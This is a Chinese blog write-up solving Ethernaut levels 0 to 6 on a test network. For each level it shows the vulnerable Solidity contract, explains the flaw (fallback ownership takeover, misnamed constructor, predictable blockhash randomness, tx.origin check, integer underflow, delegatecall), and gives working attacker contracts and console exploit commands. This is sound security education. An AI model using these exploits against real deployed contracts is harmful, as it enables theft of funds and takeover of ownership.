avatar

目录
智能合约入门游戏——Ethernaut

智能合约有一个入门的游戏平台Ethernaut,拿来学习一下。在做这个之前需要安装谷歌或者火狐浏览器插件MetaMask,并且白嫖几个测试网段的以太币,这个配置可看这篇博客,最多是5个eth(乌兹很行),多了不行。

我就一边做,一边看wp,一边google学习solidity,尽量把注释标详细点。虽说solidity是类似js,但感觉语法有点怪异,慢慢学吧。在这里要感谢前人所写的wp,来来回回翻看,算是能够做下去。

0.Hello Ethernaut

这一关主要是了解一下怎么玩这个游戏,按照网页的提示一步步来就可以。每到一关都需要新建实例,做完题目之后点击提交,他会告诉你是否达成目标。而且,如果在交易的时候感觉很慢,可以点击小狐狸中对应账单,多付一点eth来加快交易。做到后面,我恨不得有个设置是默认用高gas来换取更快的打包速度。

交互可以在开发者工具的console中实现,当然也可以用Remix。Remix在没有没有这种交互环境的时候是必须的,可提前学习一下。

解题步骤:

contract.info()
"You will find what you need in info1()."

contract.info1()
"Try info2(), but with "hello" as a parameter."

contract.info2("hello")
"The property infoNum holds the number of the next info method to call."

contract.infoNum()
42

contract.info42()
"theMethodName is the name of the next method."

contract.theMethodName()
"The method name is method7123949."

contract.method7123949()
"If you know the password, submit it to authenticate()."

contract.password()
"ethernaut0"

contract.authenticate("ethernaut0")

1.Fallback

过关要求:

  1. 成为合约拥有者
  2. 将余额减少到0
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';    //导入所需要的文件
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback is Ownable {    //is继承关键词,继承自Ownable类,Ownable是主打安保和社区审查的智能合约库
  //继承Ownable的合约,需要在初始化时,设置初始的owner值。构造函数一般初始化拥有者为部署者(msg.sender)。

  using SafeMath for uint256;
  mapping(address => uint) public contributions;//映射contributions,键类型为address,值类型为uint

  function Fallback() public {    //构造函数
    contributions[msg.sender] = 1000 * (1 ether);//将合约拥有者的contributions置为1000ether
  }

  function contribute() public payable {//payable关键词表明改函数能够进行交易,改变余额
    require(msg.value < 0.001 ether);//require用来判断是否满足某种条件,这里要求每次msg.value只能小于0.001ether
    contributions[msg.sender] = contributions[msg.sender].add(msg.value);//msg.value包含交易中发送wei的数量
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {//转账函数,只有合约拥有者能调用
    owner.transfer(this.balance);
  }

  //合约可以有一个未命名的函数,这个函数不能有参数也不能有返回值,称为回退函数。 
  //两种执行条件:
  //1.如果在一个到合约的调用中,没有其他函数与给定的函数标识匹配(或没有提供调用数据),那么这个函数会被执行。
  //2.而且每当合约收到以太币时,这个函数也会执行。
  //此外,为了接收以太币,fallback函数必须标记为payable。
  function() payable public {    
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

过关要求先成为合约拥有者还要把余额变为0,转账函数只有合约拥有者能够调用,所以先看怎么成为合约拥有者。有两个地方能够变更合约所有权,一个是contribute函数,另一个是回退函数。如果想要反复调用contribute函数来改变拥有者,很不现实,因为要求只能贡献不大于0.001ether,改变拥有者需要1000ether。再看回退函数,当msg.value>0并且所有者贡献大于0,就可以把合约所有者改变为当前用户。

这里要说一下msg.owner和msg.sender的区别:

当部署合约时,msg.sender是合约的所有者,是部署该合约的人。如果合约中定义了一个名为“owner”的变量,则可以为其分配值(地址)msg.sender:

address owner = msg.sender;

此时,变量owner将始终具有最初部署合约的人的地址,意味着是合约的所有者。再看这行合约代码:owner.transfer(msg.value),这里如果调用了它,那么msg.value将传给owner的地址。

一个合约的msg.sender是当前与合约交互的地址,可以是用户也可以是另一个合约。所以,如果是一个用户和合约交互,msg.sender是该用户的地址;相反,如果是另一个合约B与该合约交互,msg.sender则是合约B的地址。总的来说,msg.sender是当前与某合约交互的用户或另一个合约的地址。

再来了解一下msg.value,它是保存到合约中的金额,也就是转入到此合约中的金额数。msg.value单位为wei,1eth=1*10^18wei,wei是非常小的。

回到题目上,我们知道只能从回退函数下手。先调用contribute函数传入1wei,满足条件:contributions[msg.sender] > 0;再进行转账操作,转帐1wei,满足条件:msg.value > 0。这之后,我们便成为拥有者,调用withdraw函数,转走余额。注意,一定是先调用contribute函数,后转账。因为转账时会触发回退函数,其里面的require函数会检测前面的两个条件,不符合就会报错,导致交易失败。

解题步骤:

contract.contribute({value:1})
contract.sendTransaction({value:1})
contract.withdraw()

2.Fallout

过关要求:成为合约拥有者。

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout is Ownable {//继承自Ownable类

  using SafeMath for uint256;
  mapping (address => uint) allocations;//映射allocations,键类型为address,值类型为uint

  /* constructor */
  function Fal1out() public payable {//构造函数,payable关键词表明改函数能够进行交易,改变余额
    owner = msg.sender;                        //初始化拥有者为部署者
    allocations[owner] = msg.value;
  }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);//require用来判断是否满足某种条件,这里是地址余额大于0
    allocator.transfer(allocations[allocator]);
  }

   //使用onlyOwner修改器的函数,都因为仅接受所有者调用,将不会接受来自其它用户或合约的调用,从而实现访问控制
  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);    //转走所有余额
  }

  function allocatorBalance(address allocator) public view returns (uint) {    //view关键词表明该函数只能读取状态常量,但不能改变其值
    return allocations[allocator];    
  }
}

整个代码看下来,能改变合约所有权的只有构造函数Fal1out()。但仔细看,它把Fallout()写成了Fal1out(),那么Fal1out()就不是构造函数,题目中的注释只是拿来骗人的。同时Fal1out()没有onlyOwner修饰,这意味着任何人都可以调用该函数。那我们直接调用,那这里我们就相当于msg.sender,就可以成为拥有者了。

解题步骤:

contract.Fal1out()    //contract.owner()用来确认

这一关提醒我们,构造函数要写好,别出错。看通关后跳出来的讲解,竟然是现实世界的实例,真是有够好笑的呢。这提醒我们,安全一定要注意细节。

3.Coin Flip

过关要求:连续猜对10次硬币翻转结果。

pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {//初始化获胜次数为0
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    // 使用block.blockhash(block.number-1)作为随机数
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));//前一个区块的hash值转换为uint256类型

    if (lastHash == blockValue) {
      revert();        //回滚到调用前状态
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

这一关考察随机数预测,这篇文章进行了总结,这关使用block.blockhash(block.number-1)作为随机数。

合约开头先定义三个uint256类型数据:consecutiveWins、lastHash、FACTOR,其中FACTOR被赋予了一个很大的数值,是2^255。

之后的flip函数先定义了一个blockValue,值是前一个区块的hash值转换为uint256类型,block.number为当前的区块数,之后检查lasthash是否等于blockValue,相等则revert,回滚到调用前状态。之后便给lasthash赋值为blockValue,所以lasthash代表的就是上一个区块的hash值。

之后产生coinflip,它就是拿来判断硬币翻转的结果的,它是拿blockValue/FACTR,前面也提到FACTOR实际是等于2^255,若换成256的二进制就是最左位是0,右边全是1,而我们的blockValue则是256位的,因为solidity里“/”运算会取整,所以coinflip的值其实就取决于blockValue最高位的值是1还是0,换句话说就是跟它的最高位相等,下面的代码就是简单的判断了。

通过对以上代码的分析我们可以看到硬币翻转的结果其实完全取决于前一个块的hash值,看起来这似乎是随机的,它也确实是随机的。然而事实上它也是可预测的,因为一个区块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess,这样就相当于提前看了结果,比开卷考试还牛。

因为块之间的间隔也只有10s左右,要手工在命令行下完成合约分析中操作还是有点困难,所以我们需要在链上另外部署一个合约来完成这个操作,在部署时可以直接使用Remix。

Remix还是要学习一下,首先是编译,把代码输进去,就可以点击编译,发现没有错误,就可以部署合约。下面的exp也是上网看别人的,不过因为过了一两年,一些东西还是需要修修补补,根据提示一顿操作。这个Remix管得比较宽,经常有警告。我照着警告把它解决了,它又报错,不给运行。我们可以勾选隐藏警告,不处理它也问题不大。

exp(前面都是原代码,关键在后面):

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue/FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    }else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract coin_hack {
  CoinFlip fliphack;
  // 用实例地址替换
  address target = 0xa056c4c58a3866d2e89d7787a7fd9d1680d01ffd;
  //这里的target值为instance address,但是需要注意的这里不能直接复制粘贴console的值,在最终的转账里这样的address是不被认可的,因为不会通过checkSum函数
  //这里在线compile会给出正确的addreee,其实那几位就是校验和用的,所以这里推荐的做法就是先复制粘贴,然后在线编译更改正确的address
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public{
    fliphack = CoinFlip(target);
  }

  function pre_result() public view returns (bool){//先执行一次,获取结果
    uint256 blockValue = uint256(blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    return coinFlip == 1 ? true : false;
  }

  function hack() public {
    bool guess = pre_result();
    fliphack.flip(guess);
  }
}

部署合约需要选择环境为Injected Web3,这时候Remix会自动请求连接MetaMask。账户(ACCOUNT)也自动选定,合约需要选择我们所需要的,这里是coin_hack。At Address是我们生成的关卡实例地址(Instance address)。

等待合约部署完毕,点Deployed Contracts,看到合约coin_hack实现的两个功能。我们直接点hack,进行猜正反。但必须等一次hack操作完才能点下一次hack,否则如果多个hack同时运行,他们上一个区块地址的都是一样的,等有一个hack完成后,就打包生成了新的区块,剩下hack所取上一个区块的地址就不对了。

运行几次后,可以回Ethernaut的终端看一下我们猜对了几次,等c内数值等于10,就可以提交本实例了。

4.Telephone

过关要求:成为合约拥有者

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

代码比较简单,Telephone合约内有构造函数,初始化合约拥有者为部署者。然后是一个changeOwner函数,判断tx.origin和msg.sender是否相等。

tx.origin是交易的发送方,是源头;msg.sender是消息的发送者。如果是在同一个合约调用,这两者相等。但如果是在多个合约情况下,如果用户通过A合约来调用B合约,有调用链:client -> A -> B,对于B合约,msg.sender就代表合约A,tx.origin则代表client。

了解完,我们就可以再构造合约调用题目合约,来使tx.origin != msg.sender。

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract Telephone_hack {
    Telephone target= Telephone(0xee03ffbb033286a486e943b42392064bf795ad34);//关卡实例地址 
    function hack() public {                //因为我们直接调用Telephone_hack合约
        target.changeOwner(msg.sender);//msg.sender在这里表示我们自己的地址
    }
}

把以上exp用Remix连接,编译。调用hack功能,再回到关卡,查看拥有者已变为自己。

5.Token

过关要求:初始有token20个,要想办法黑掉这个智能合约来获取得更多Token(可能是一个很大的值)。

pragma solidity ^0.4.18;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) public {//构造函数
    balances[msg.sender] = totalSupply = _initialSupply;
  }
    //转账函数,会先检查发送者是否足以支付_value
  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }
    //检查余额
  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

看到要求说,可能是一个很大的值,就想到可能是整数溢出。

因为balance为unit类型,无符号整数,不存在负数形式,所以 balances[msg.sender] - _value >= 0 永远为真。那么当我们_value 大于balances[msg.sender] 时,balances[msg.sender]就会下溢,变成一个非常大的数。

在console中执行contract.transfer(player, 21),player为自己账户地址,balances[msg.sender] - _value就是20-21,将溢出为2^256-1,足够大了。之后,用await contract.balanceOf(player)查看下,就可以提交了。

在实际运用中,可以用OpenZeppelin库来防御这种漏洞。

6.Delegation

过关要求:成为合约拥有者。

pragma solidity ^0.4.18;

contract Delegate {

  address public owner;

  function Delegate(address _owner) public {
    owner = _owner;
  }

  function pwn() public {//改变合约拥有者
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  function Delegation(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);//delegate对象
    owner = msg.sender;
  }

  function() public {//fallback函数
    if(delegate.delegatecall(msg.data)) {
      this;
    }
  }
}

分析以上合约,Delegate初始化时将传入的address设定为合约的owner,下面有一个pwn函数能修改权限。之后,下面的Delegation合约则实例化了上面的Delegate合约,其fallback函数使用了delegatecall来调用其中的delegate合约,而这里的delegatecall就是问题的关键所在。

我们经常会使用call函数与合约进行交互,对合约发送数据。call是一个较底层的接口,我们经常会把它封装在其他函数里使用。这里用到的delegatecall跟call主要的不同在于通过delegatecall调用的目标地址的代码要在当前合约的环境中执行,也就是说它的函数执行在被调用合约部分其实只用到了它的代码,所以这个函数主要是方便我们使用存在其他地方的函数,也是模块化代码的一种方法,然而这也很容易遭到破坏。

用于调用其他合约的call类的函数,其中的区别如下:
1、call 在外部调用时,上下文是外部合约
2、delegatecall 在外部调用时,上下文是调用合约
3、callcode() 其实是 delegatecall() 之前的一个版本,两者都是将外部代码加载到当前上下文中进行执行,但是在 msg.sender 和 msg.value 的指向上却有差异。

在这里,我们要做的就是使用delegatecall调用delegate合约的pwn函数,这里涉及到使用call指定调用函数的操作。当你给call传入的第一个参数是四个字节时,那么合约就会默认这四个自己就是你要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个bytes,我们可以把这个id看作是和函数名等价的一个东西。sha3我们可以直接通过web3.sha3来调用,pwn函数的前四字节(id)如下。

经过分析,我们可以先通过web3.sha3产生pwn函数的id,然后再触发delegatecall的fallback函数。前面说了有两种方法:

  1. 在一个到合约的调用中,没有其他函数与给定的函数标识匹配(或没有提供调用数据),那么这个函数会被执行。
  2. 每当合约收到以太币时,这个函数也会执行。

这里我们直接用封装好的sendTransaction来发送data。sendTransaction函数起到发送以太币的作用,所以能触发fallback函数。同时fallback函数中的delegatecall函数要调用msg.data中的数据,所以要发data过去。有关sendTransaction的详细信息。

解题步骤:

contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)})

Loading…

参考

[1] Ethernaut闯关录(上)

[2] Zeppelin Ethernaut writeup

[3]

文章作者: crownZ
文章链接: https://crownz-sec.github.io/2020/05/09/Ethernaut/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 crownZ's Blog

评论